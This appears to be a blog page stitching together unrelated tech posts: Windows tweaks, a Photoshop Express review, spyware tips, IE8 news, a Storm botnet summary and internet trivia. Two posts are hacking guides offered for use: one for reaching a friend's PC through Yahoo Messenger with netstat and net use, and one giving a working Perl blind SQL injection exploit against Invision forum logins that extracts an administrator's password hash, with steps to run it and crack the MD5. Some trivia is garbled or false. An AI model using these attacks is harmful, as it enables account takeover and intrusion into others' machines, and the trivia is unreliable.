get this from h**p://delphi.icm.edu.pl/ftp/tools/ResHack.zip

The first step is to make a backup copy of the file explorer.exe located at C:\Windows\explorer. Place it in a folder somewhere on your hard drive where it will be safe. Start Resource Hacker and open explorer.exe located at C:\Windows\explorer.exe.

The category we are going to be using is "String Table". Expand it by clicking the plus sign then navigate down to and expand string 37 followed by highlighting 1033. If you are using the Classic Layout rather than the XP Layout, use number 38. The right hand pane will display the stringtable. We’re going to modify item 578, currently showing the word “start” just as it displays on the current Start button.

There is no magic here. Just double click on the word “start” so that it’s highlighted, making sure the quotation marks are not part of the highlight. They need to remain in place, surrounding the new text that you’ll type. Go ahead and type your new entry. In my case I used Click Me!

You’ll notice that after the new text string has been entered the Compile Script button that was grayed out is now active. I won’t get into what’s involved in compiling a script, but suffice it to say it’s going to make this exercise worthwhile. Click Compile Script and then save the altered file using the Save As command on the File Menu. Do not use the Save command – Make sure to use the Save As command and choose a name for the file. Save the newly named file to C:\Windows.


Step 2 – Modify the Registry

!!!make a backup of your registry before making changes!!!

Now that the modified explorer.exe has been created it’s necessary to modify the registry so the file will be recognized when the user logs on to the system. If you don’t know how to access the registry I’m not sure this article is for you, but just in case it’s a temporary memory lapse, go to Start (soon to be something else) Run and type regedit in the Open field. Navigate to:

HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon

In the right pane, double click the "Shell" entry to open the Edit String dialog box. In Value data: line, enter the name that was used to save the modified explorer.exe file. Click OK.

Close Registry Editor and either log off the system and log back in, or reboot the entire system if that’s your preference. If all went as planned you should see your new Start button with the revised text.

Made You Look

This is the marketing catchphrase for the new online Photoshop Website, and yes– I did take a look. Adobe Photoshop Express (Beta) is a Web 2.0 application for editing and sharing your digital images, and is seen to be a replacement for a program you buy and load onto your computer. It is — at this time, anyway — a free service (and surprisingly, has no ads).

I would be very surprised if you haven’t heard of Photoshop; it has been around so long, it has become a verb in today’s language — meaning “to create a fake image”. Photoshop is the tool which allows you to put your head on someone else’s body.. or make it look like you’re standing on the moon.. or remove your Ex from your old vacation pictures. (With the right starting photos, there’s almost nothing I can’t fake in Photoshop.)
Photoshop has long been considered the premier digital image manipulation program.

As I discussed in this article, “Web 2.0″ is all about us regular folks being able to ‘upload’ to the Web (and “share”/collaborate) instead of simply viewing (’downloading’) content. And frankly, Adobe is not the first to the market of online photo sharing Websites, nor sites that let you edit your pictures once you’ve loaded them.. Picassa and Photobucket have been around for a while now (to name a few).
Considering Photoshop’s reputation, I wanted to know if Adobe’s online service had superior editing capabilities.

To use Express, you must “join” the club, by providing an e-mail address and creating a user account. While you do that, you create a personalized URL (like, http://yourname.photoshop.com) where you can post your pictures in “galleries”, if you want to share them (not required). Once you’re a member, you “upload” your pictures, and you can now edit them, and organize them into galleries, e-mail them, or use them as images on (other) Websites.

The screenshot above shows the image editing screen. Those of you who have ever used Photoshop Elements will be very familiar with this interface. The editing options (left column) provide a thumbnail range above your original so you can see, and select from, adjustments. This makes ‘tweaking’ your image fairly easy and straight-forward, and allows you to experiment without ruining your original.

Is this for you? Well, as it stands, I find that there are some basic image editing features which are missing (it is possible I just couldn’t find the menu..) such as image resizing and dots-per-inch adjustment. You can crop, but not shrink.. nor adjust file type or size.
I am an advanced Photoshop user, and so I find the tools in Photoshop Elements overly simplified, and these even more so– which is precisely what many people want.
While this (at least, in its current state) tool will not let you paste your head onto a super-model’s body, or pose on the moon, it will let you smoothly and easily tweak your images, remove the red-eye effect, and share your pictures with far away friends and relatives.
If you are not already using a similar service.. or are not satisfied with the one you’re using.. you should give this a tryout. It is very slick and easy to use. Click the link in the second sentence, and get started.

how to hack my friend pc through yahoo messenger?

1) Open Command Prompt. Have some one on yahoo messenger send you a file; while the file is sending, in command prompt type -> netstat -an press enter

2)it will show alll Active Connections on your computer, in there under foreign ip for a number thats ends in 5050. this is the persons ip adress who is sending you the file

3)Now type : net use: h \\ (the person's ip adress)\shareddocs push enter wait for message to show up

4)If it is successful you should get a message saying command prompt was successful. If you get a error message than your attempt has failed, probably because the person has security measures in place to prevent hacking.

5)if you get the message that says command was successful, than go to my computer. There you will see a file named "shareddocs on (the name of your computer)" open this file

you are now connected to that person's computer

Hacking Forums

First of all, what you guyz need is a forum to hack. Once you got the forum the next step is to find the user we want to hack. In common sense i can say that u want to hack the admin . The administrator is usually the first member of the forum, therefore his/her User ID will be "1". Find the User ID of the administrator, or person you wish to hack. For this tutorial, let's say his/her ID is "3".

Now you are almost all set to go bcz you guyz know the site u wish to hack, and the member/administrator you wish to hack. For e.g "you are hacking the administrator of "http://www.xxxxxxxx.com", which is User ID "3".

Now before dreams come true u need a nice exploit. U can use this one given below ( preferably, for 1.3.1 forums)

---

#!/usr/bin/perl -w
##################################################################
# This expoit works fine. Just paste the outputted cookie into
# your request header using livehttpheaders or something and you
# will probably be logged in as that user. No need to decrypt it!
# Exploit coded by "Hacker"
##################################################################

use LWP::UserAgent;

$ua = new LWP::UserAgent;
$ua->agent("Mosiac 1.0" . $ua->agent);

if (!$ARGV[0]) {$ARGV[0] = '';}
if (!$ARGV[3]) {$ARGV[3] = '';}

my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';
my $user = $ARGV[1]; # userid to jack
my $iver = $ARGV[2]; # version 1 or 2
my $cpre = $ARGV[3]; # cookie prefix
my $dbug = $ARGV[4]; # debug?

if (!$ARGV[2])
{
print "..By Hacker. Usage: ipb.pl http://forums.site.org [id] [ver 1/2].

";
exit;
}

my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");

my $outputs = '';

for( $i=1; $i < 33; $i++ )
{
for( $j=0; $j < 16; $j++ )
{
my $current = $charset[$j];
my $sql = ( $iver < 2 ) ? "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$current%2527)/*" :
"99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*";
my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql);
my $res = $ua->get($path, @cookie);

# If we get a valid sql request then this
# does not appear anywhere in the sources
$pattern = '';

$_ = $res->content;

if ($dbug) { print };

if ( !(/$pattern/) )
{
$outputs .= $current;
print "$current
";
last;
}

}
if ( length($outputs) < 1 ) { print "Not Exploitable!
"; exit; }
}
print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;
exit;

# Hacker

---

#For using the above perl script u need an activeperl. You can get it from here if u didn't hv the one and install it: -
http://shorl.com/gakadupofugo

#Now u hv perl installed in ur system. Open your Notepad -> copy the above perl script and paste it there -> save it as ipb.pl

#Now go to C:perlin and paste your ipb.pl file there.

#Now u r almost done.

#Open your Command prompt(start->run->cmd->hit enter)

#Now change your directory to perl by typing cd C:Perlin in ur command prompt

#Now u r in perl's bin directory. Now all u need to do is to access the ipb.pl file that u saved in bin directory

#For this type the command : -perl ipb.pl

#Now your exploit is executed. Let's celebrate


Now it's time to tell u how to use it.

#I think u guys remember that u r hacking site User ID "3" who is the administrator of site "http://www.xxxxxxxx.com"

#Go to your command prompt (run->cmd) and type this into ur command prompt : -

ipb.pl http://www.xxxxxxxx.com/ 3 1

#It may takes some time as the exploit gathers the information and grab the "hash"

#Don't close the programme if it takes some time bcz this is the finalisation phase which gives u the way to access the forum with admin privilages.

#Once the hash grabbing is complete, u r returned with full hash and UserID

#Now once u got the hash For e.g 8476t3f6534ty3bt6k6g6f4fj3jb1h0m

#Don't confuse with these numbers, it's useless unless u know how to use it.

#This is nothing but the admin's password encrypted by using theMD5 hash algorithm

#I think most of u heard that MD5 hash is impossible to crack. MD5s are impossible to reverse "once a string is MD5ed, there is no way to get it back to plain-text"

#It is IMPOSSIBLE to decrypt an MD5 hash. But.. It is NOT impossible to CRACK an MD5 hash (as i already cracked MD5 hash, so it's not impossible)

#You can use any method, and any crackers to crack this hash

#Once you r done i.e u hv cracked the hash, you will be given a plain-text password (which is your gateway to enter the forum)

How to disable Yahoo from tracking you

Yahoo! has hidden this option way deep inside somewhere but I'm declaring it here in case there are people who want it anyway

1) Go to the address http://privacy.yahoo.com/privacy & click the "Cookies" link under the "Special Topics" column.
2) Click the "Web Beacons" link under the "Reference Links" Column.
3) On this page, click the "click here to opt out" link toward the end of the third paragraph under the "Outside the Yahoo! Network" title.
4) After a while, a page that says you have been out of the monitoring program will load. Without doing anything, close that page or continue your usual urfing by typing another address in the address bar. (Do NOT click the "Cancel Opt-out" button, your action will be cancelled!).
5) You're done! Now Yahoo! will not record what you're doing during surfing.

Note : How Innocent it may appear but its Voilation of yahoo Policies.

Spyware : You’re being watched

Spyware on your PC leaves you vulnerable. Here are six simple steps to remove and prevent spyware. Everyone loves a spy story. A bit of suspense, a bit of drama and a whole lot of romance. However, in the Internet world, spying is dirty, treacherous and can cost you a great deal of money. We are talking of spyware.

Spyware is a malicious software that sends out your personal information to third parties without your approval. This means that if your computer is infected by spyware, your user name, passwords and credit card information could be used by anyone, anywhere in the world. Not a pretty thought, is it?

Removing spyware is difficult. It uses stealth to install itself and avoid detection. Most people don’t even realise that their computers are infected by spyware. It may also affect the performance of your machine. But there are things you can do to prevent and remove spyware from your computer.

1. Do not click on pop-up links: While surfing on the Net, do not click on those innocuous links that pop up. They may result in your computer being infected by spyware. Never click Yes or OK. Click on the X button on the top right-hand corner of the window. Install a pop-up blocker if necessary.

2. Be careful with what you download: Software that claims to be free can contain spyware. Never assume that the software doesn’t contain spyware. Always be sure. Downloading music and movies from file-sharing programmes is another way you can get spyware.

3. Do not respond to spam: Mail messages that promote anti-spyware software or any other thing are likely to be fraudulent. Responding to them may result in spyware being installed on your PC.

4. Update your Windows software regularly: Microsoft Windows Update regularly offers security updates to fix vulnerabilities in its programs. Updating your Windows software regularly can go a long way in helping you prevent spyware entry into your PC.

5. Install a firewall: Firewalls can detect if any software is being installed on your computer without your knowledge, while you’re on the Internet. They monitor all the data that goes in and out, acting as a shield that protects your PC. Windows XP comes with an in-built firewall that you just need to turn on.

6. Use a spyware remover tool: Anti-spyware programmes are the most effective way to remove spyware. These programmes detect if your PC contains spyware and remove it. Most of them are free as well. But keep in mind that some of the so-called free spyware remover tools are spyware themselves. We recommend you use only the leading anti-spyware tools backed by comprehensive lab testing.

So don’t get spied on. Stay safe.

Internet Explorer 8 Beta from Microsoft Has Arrived

Microsoft's next-generation web browser, Internet Explorer 8, has arrived. In a surprising move, after the demo of IE8 and its new features at today's session of the MIX08 conference, the startling announcement was made: "It's available for download now". The new browser showcases many new features and improvements, like Facebook and eBay integration, standards compliance, and the ability to work with AJAX web pages. What's most notable about IE8, though, is more than a sum of its parts. If anything, this launch shows that Microsoft is not taking Firefox's creep into browser market share lightly.

IE8 New Features Shown At MIX08

As of the demo at MIX08, IE8 has features included the following:

Standards Compliance: There were hints that IE8 would be a remarkable offering on the IE Blog as they released tidbits about the browser's capabilities. For example, the announcement of IE8's passing of the Acid2 test (a test for standards compliance) marked a milestone in IE8's development. The standards mode was originally going to be turned off by default letting web developers code for it by including a "meta" tag to make use of IE8's new standards compliant mode. Later, Microsoft came to their senses and made the default the standards-compliant mode. Meanwhile, Firefox also claims to have passed the Acid 2 test, but an open bug on bugzilla.mozilla.org seems to say otherwise. (our coverage). One commenter on the thread notes, "So, we essentially do pass the test. However, in some situations, it might still fail, that's why this bug is open."

Facebook Integration: Yes, seriously! With a Flock-like feature as an unexpected surprise, Microsoft capitalized on their partnership with the popular social networking site, Facebook, to allow IE8 users the ability to get status updates from Facebook right from their browser toolbar.

eBay Integration: Like Facebook, this feature also uses IE8's new technology, called "WebSlices", which introduces a new way to get updates from other sites via the browser itself, without having to visit the web site. With WebSlices, IE8 beta users can subscribe to portions of a page that
update dynamically, in order to receive updates from that page as content
changes. EBay will offer webslices, too, letting you track your auctions from the browser toolbar. Basically, WebSlices look like Favorites on your Links toolbar but they have a little arrow next to them - clicking on this arrow will show you a small window of live web content.

Live Maps Integration: Another WebSlice was integration with Live Maps. It appeared that you could even highlight text on a page, like an address, and then right-click and choose Live Maps from the context menu to get a WebSlice preview of that location on a map in a small pop-up window. How convenient!

Integration with Me.dium: Me.dium integration will be supported in IE8 via WebSlices. Me.dium will now help web surfers discover and view WebSlices directly from the sidebar. The Me.dium sidebar will alert users to the presence of WebSlices on any page – and even allows users to read each WebSlice, without leaving the Sidebar. In addition, Me.dium will make real-time recommendations for other WebSlices on other relevant web pages and provides direct links to them based on the real time activity of other Me.dium users.

Working with AJAX Pages: IE8 will offer better functionality when it comes to AJAX web pages. The example showed a page where you could zoom in using AJAX technology. Previously, hit the IE "Back" button would take you back to the last page you were on. Now, "Back" will zoom you out.

We can now find out what other features IE8 has to offer, since the beta is now publicly available for download. To get IE8, you can download it by clicking here.

Is your pendrive not working???

-> It could have been corrupted data which might have damaged the pendrive. Here recovering may not be possible.

-> Do try to see if the usb pin is not deformed in any way, tat shud help or else try goin for a new one.

-> Attach the pendrive switch off ur system abruptly by switching off main power supply. Then restart it keeping the pen drive intact in the USB drive and allow the disk check.It checks the pendrive and rectifies the corrupted Memory Pool.

-> Check with your system hard ware basically if everything is fine also check whether it is getting detected in any other systemsome times some anti viruses will not allow drives with virus in it to get detected hoping this info might help you.

-> If it was the case that your pendrive not getting detected you have an issue with your hardware so return it to the manfacturer.

-> If it was the case that it is not functioning on any USB of your sys it is the issue with your system usb drive better go for an add on pci usb card 2.0 that will solve your issue.

Best ever virus that ruled the world...

Storm worm botnet is a remotely-controlled network of "zombie" computers (or "botnet") that has been linked by the Storm Worm, a Trojan horse spread through e-mail spam. Some have estimated that by September 2007 the Storm botnet was running on anywhere from 1 million to 50 million computer systems. Other sources have placed the size of the botnet to be around 250,000 to 1 million compromised systems. More conservatively, one network security analyst claims to have developed software that has crawled the botnet and estimates that it controls 160,000 infected computers. The Storm botnet was first identified around January 2007, with the Storm worm at one point accounting for 8% of all malware on Microsoft Windows computers.

The Storm botnet has been used in a variety of criminal activities. Its controllers, and the authors of the Storm Worm, have not yet been identified. The Storm botnet has displayed defensive behaviors that indicated that its controllers were actively protecting the botnet against attempts at tracking and disabling it. The botnet has specifically attacked the online operations of some security vendors and researchers who attempted to investigate the botnet. Security expert Joe Stewart revealed that in late 2007, the operators of the botnet began to further decentralize their operations, in possible plans to sell portions of the Storm botnet to other operators. Some reports as of late 2007 indicated the Storm botnet to be in decline, but many security experts reported that they expect the botnet to remain a major security risk online, and the United States Federal Bureau of Investigation considers the botnet a major risk to increased bank fraud, identity theft, and other cybercrimes.

The botnet reportedly is powerful enough as of September 2007 to force entire countries off the Internet, and is estimated to be capable of executing more instructions per second than some of the world's top supercomputers. However, it is not a completely accurate comparison, according to security analyst James Turner, who said that comparing a botnet to a supercomputer is like comparing an army of snipers to a nuclear weapon. Bradley Anstis, of the United Kingdom security firm Marshal, said, "The more worrying thing is bandwidth. Just calculate four million times a standard ADSL connection. That's a lot of bandwidth. It's quite worrying. Having resources like that at their disposal—distributed around the world with a high presence and in a lot of countries—means they can deliver very effective distributed attacks against hosts."

Computer security expert Joe Stewart detailed the process by which compromised machines join the botnet: attempts to join the botnet are made by launching a series of EXE files on the computer system in question, in stages. Usually, they are named in a sequence from game0.exe through game5.exe, or similar. It will then continue launching executables in turn. They typically perform the following:
1. game0.exe - Backdoor/downloader
2. game1.exe - SMTP relay
3. game2.exe - E-mail address stealer
4. game3.exe - E-mail virus spreader
5. game4.exe - Distributed denial of service (DDos) attack tool
6. game5.exe - Updated copy of Storm Worm dropper
At each stage the compromised system will connect into the botnet; fast flux DNS makes tracking this process exceptionally difficult. This code is run from %windir%\system32\wincom32.sys on a Windows system, via a kernel rootkit, and all connections back to the botnet are sent through a modified version of the eDonkey/Overnet communications protocol.

Amazing facts...

Google got its name from the mathematical figure googol, which denotes the number 'one followed by a hundred zeros'.

Yahoo! derived its name from the word Yahoo coined by Jonathan Swift in Gulliver's Travels. A Yahoo is a person who is repulsive in appearance and action and is barely human!

Researchers consider that the first search engine was Archie, created in 1990 by Alan Emtage, a student at McGill University in Montreal, Canada.

Marc Andreessen founded Netscape. In 1993, he had already developed Mosaic, the first Web browser with a GUI.

It was once considered a letter in the English language. The Chinese call it a little mouse, Danes and Swedes call it 'elephant's trunk', Germans a spider monkey, and Italians a snail. Israelis pronounce it 'strudels' and the Czechs say 'rollmops's...What is it? The @ sign.

In the Deep Web, the part of the Web not currently catalogued by search engines, public information said to be 500 times larger than on the WWW.

The first search engine for Gopher files was called Veronica, created by the University of Nevada System Computing Services group

Tim Berners-Lee predicted in 2002 that the Semantic Web would "foster global collaborations among people with diverse cultural perspectives", but the project never seems to have really taken off.

In February 2004, Sweden led the world in Internet penetration, with 76.9 percent of people connected to the Internet. The world average is 11.1 per cent.

The top visited websites in February2004, including affiliated sites, were Yahoo!, MSN, the Warner Network, EBay, Google, Lycos and About.com.

The search engine "Lycos" is named for Lycosidae, the Latin name for the wolf spider family.
The US International Broadcasting Bureau created a proxy service to allow Chinese, Iraians and other 'oppressed' people to circumvent their national firewalls, relaying forbidden pages behind silicon curtains.

Lurking is to read through mailing lists or news groups and get a feel of the topic before posting one's own messages.

SRS stands for Shared Registry Server. The central system for all accredited registrars to access, register and control domain names.

WAIS stands for 'Wide Area Information Servers' - a commercial software package that allow the indexing of huge quantities of information, the makes those indices searchable across the Internet.

An anonymiser is a privacy service that allows a user to visit Web sites without allowing anyone to gather information about which sites they visit.

Archie is an information system offering an electronic directory service for locating information residing on anonymous FTP sites.

On the Internet, a 'bastion host' is the only host computer that a company allows to be addressed directly from the public network.

'Carnivore' is the Internet surveillance system developed by the US Federal Bureau of Investigation (FBI), who developed it to monitor the electronic transmissions of criminal suspects.

Did you know that the original URL of Yahoo! was http://akebono.stanford.edu/ ?

Developed at the University of Nevada, Veronica is a constantly updated database of teh names of almost every menu item on thousands of gopher servers.

The Electrohippies Collective is an international group of 'hacktivists' based in Oxfordshire, England.

UIML (User Interface Markup Language) is a descriptive language that lets you create a Web page that can be sent to any kind of interface device.

In Internet terminology, a demo is a non-interactive multimedia presentation, the computer world's equivalent of a music video.

Did you know that the name of the famous search engine AltaVista came into existence when someone accidentally read and suggested the word 'Vista' on an unclean whiteboard as 'Alta Vista'?

Boeing was the first airline to discover the Y2K problem, way back in 1993.

Did you know that Domain registration was free until an announcement by the NAtional Science Foundation on 14th September, 1995, changed it?

The Internet was initially called the 'Galactic network' in memos written by MIT's J C R Licklider in 1962.

Shokyu Ishiko, a doctorate in agriculture and chief priest of Daioh Temple in Kyoto has created an online virtual temple which will perform memorial services for lost information.

A 55 kg laddu was made for Lord Venkateswara at Trumala as a Y2K prayer offering.

The morning after Internet Explorer 4 was released, certain mischievous Microsoft workers left a 10 by 12 foot letter 'e' and a balloon with the message, "We love you", on Netscape front lawn.

If you were a resident of Tongo, a monarchy in the southwest Pacific, you could own domains as cool as 'mail.to' and 'head.to'.

The American Registry for Internet Numbers (ARIN) began the administration of Internet IP address in North and South America in MArch 1998.

The testbed for the Internet's new addressing system, IPv6, is called the 6bone.

The first Internet worm was created by Robert T.Morris, Jr, and attacked more than 6000 Internet hosts.

According to The Economist magazine, the first truly electronic bank on the Internet, called First Virtual Holdings, was opened by Lee Stein in 1994.

The French Culture Ministry has banned the word 'e-mail' in all government ministries, documents, publications and Web sites, because 'e-mail' is an English word. They prefer to use the term 'courriel'.

The German police sell used patrol cars over the Internet, because earlier auctions fetched low prices and only a few people ever showed up.

Rob Glasser's company, Progressive Networks, launched the RealAudio system on April 10, 1995.

'Broswer safe colours' refer to the 216 colours that are rendered the same way in both the PC and Mac operating systems.

Though the world Wide Web was born in 1989 at CERN in Switzerland, CERN is mainly involved in research for particle physics.

The first computer company to register for a domain name was Digital Equipment Corporation.

The 'Dilbert Zone' Web site was the first syndicated comic strip site available on the Internet.

Butler Jeeves of the Internet site AskJeeves.com made its debut as a large helium balloon in the Macy's Thanksgiving Day parade in 2000.

Sun Microsystems sponsors NetDay, an effort to wire American public schools to the Internet, with help from the US government.

In Beijing, the Internet community has coined the word 'Chortal' as a shortened version of 'Chinese portal'.

Telnet is one of the oldest forms of Internet connections. Today, it is used primarily to access online databases.

Domain names can be really sell at high prices! The most expensive domain name was 'business.com', which was bought by eCompanies for $7.5 million in 1999.

The first ever ISP was CompuServe. It still exists, under AOL Time Warner.

On an average, each person receives 26.4 e-mails a day.

Ray Tomlinson, a scientist from Cambrige, introduced electronic mail in 1972. He used the @ to distinguish between the sender's name and network name in the e-mail address.

Transmission Control Protocol/Internet Protocol (TCP/IP) was designed in 1973.

The Apple iTunes music store was introduced in the spring of 2003. It allows people to download songs for an affordable 99 cents each.

Satyam Online become the first private ISP in December 1998 to offer Internet connections in India.

The number of UK Internet users increase by an estimated 75 percent each year.

The Internet is the third-most used advertising medium in the world, closely catching up with traditional local newspapers and Yellow Pages.

It took 13 years for television to reach 50 million users- it took the Internet less than 4 years.

As of now, there are over 260 million people with Internet access worldwide.

1 out of 6 people used the Internet in North America and Europe, as per a 1999 survey.
The average computer user blinks 7 times a minute.

In 1946, the Merriam Webster Dictionary defined computer as 'a person who tabulates numbers; accountant; actuary; bookkeeper.'

An estimated 2.5 billion hours were wasted online last year as people waited for pages to download, according to a study sponsored by Nortel Networks.

AOL says spam is the number one complaint of its customers, and that it has to block over one billion unsolicited e-mails every day.

In 2002, the average Internet user received 3.7 spam messages per day. The total rose to 6.2 spam messages per day in 2002. By 2007, it is expected to reach 830 messages per day.

A terminology industry research firm called Basex says that unsolicited e-mail cost $ 20 billion in lost time and expenses worldwide in 2000.

In 2003 an Atlanta- base ISP called Earthlink won a lawsuit worth $16.4 million (US) against a spammer in Buffalo NY, and a $25 million (US) lawsuit against a spammer in Tennessee.

Microsoft Application Compatibility Toolkit 5.0

The Microsoft Application Compatibility Toolkit (ACT) 5.0 is a lifecycle management tool that assists in identifying and managing your overall application portfolio, reducing the cost and time involved in resolving application compatibility issues, and helping you quickly deploy Windows Vista and Windows Updates.
With it, you can:

* Analyze your portfolio of applications, Web sites, and computers.
* Evaluate operating system deployments, the impact of operating system updates, and your compatibility with Web sites.
* Centrally manage compatibility evaluators and configuration settings.
* Rationalize and organize applications, Web sites, and computers.
* Prioritize application compatibility efforts with filtered reporting.
* Add and manage issues and solutions for your enterprise-computing environment.
* Deploy automated mitigations to known compatibility issues.
* Send and receive compatibility information from the Microsoft Compatibility Exchange.


Microsoft Application Compatibility Toolkit 5.0 Features
Inventory and Collect your Data
ACT 5.0 provides a way to gather inventory data, through the use of distributed compatibility evaluators and the developer and tester tools. Data can be collected around operating system changes of various magnitude, from large events (such as an operating system upgrade), to medium events (such as a browser upgrade), to smaller events (such as a Windows Update release). Having the ability to collect compatibility data into a single centralized store has significant advantages in reducing organizational risk during platform changes.


Distributed Compatibility Evaluators
The Application Compatibility Toolkit (ACT) 5.0 and Application Compatibility Toolkit Data Collector (ACT-DC) use compatibility evaluators to collect and process your application information. Each evaluator performs a set of functions, providing a specific type of information to ACT.

* Inventory Collector: Examines your organization's computers to identify the installed applications and system information.
* User Account Control Compatibility Evaluator (UACCE): Enables you to identify potential compatibility issues that are due to permission restrictions enforced by the User Account Control (UAC), formerly known as Limited User Accounts (LUA). Through compatibility logging, UACCE provides information about both potential application permission issues and ways to fix the problems so that you can deploy a new operating system.
* Update Compatibility Evaluator (UCE): Provides insight and guidance about the potential effects of a Windows operating system security update on your installed applications. The UCE dynamically gathers application dependencies and is deployable to both your servers and client computers in either a production or test environment. The compatibility evaluator collects information about the modules loaded, the files opened, and the registry entries accessed by the applications currently running on the computers and writes that information to XML files uploaded to the ACT database.
* Internet Explorer Compatibility Evaluator (IECE): Enables you to identify potential Web application and Web site issues that occur due to the release of a new operating system. IECE works by enabling compatibility logging in Internet Explorer, parsing logged issues, and creating a log file for uploading to the ACT Log Processing Service.
* Windows Vista Compatibility Evaluator: Enables you to identify issues that relate to the Graphical Identification and Authentication (GINA) DLLs, to services running in Session 0 in a production environment, and to any application components deprecated in the Windows Vista operating system.


Development Tools
ACT 5.0 provides new tools for developers to test setup packages, Web sites and Web applications with Internet Explorer 7, and applications running as standard users in Windows Vista. The following section provides information about the development tools.
Setup Analysis Tool (SAT): Automates running application installations while monitoring the actions taken by each application's installer. The Setup Analysis Tool detects the following potential issues:

* Installation of kernel mode drivers
* Installation of 16-bit components
* Installation of Graphical Identification and Authentication (GINA) DLLs
* Modification of files or registry keys that are under Windows Resource Protection in Windows Vista


Internet Explorer Test Tool: Collects your Web-based issues from Internet Explorer 7, uploads the data to the ACT Log Processing Service, and shows your results in real time.
Standard User Analyzer (SUA): Determines the possible issues for applications running as a Standard User (SU) in Windows Vista.


Analyze Your Data
After collecting your compatibility data, ACT 5.0 provides features and tools to help you organize, rationalize, and prioritize the data.

* Organize your data: Create custom compatibility reports, assign custom categories and subcategories to your applications based on geographies, departments, internal line-of-business applications, or any custom application tags, and analyze your compatibility data using three types of quick reports, including the Operating System Deployment reports, the Update Impact Analyzer Application reports, and the Internet Explorer 7 reports.
* Rationalize your data: Locate and share your compatibility information, issues, and solutions with industry peers using the Microsoft Compatibility Exchange and the ACT Community, filter your data to eliminate non-relevant applications, applications with specific issues, applications with no known issues, and applications with no compatibility information, run standardized reports for specific operating systems, risk ratings of applications, computers, and custom reports, and manage issues and solutions for each application in your company.
* Prioritize your data: Assign priorities to your applications, track the status of your application testing, by identifying their position in the deployment process, and run standardized reports for understanding your current deployment status based on your prioritizations.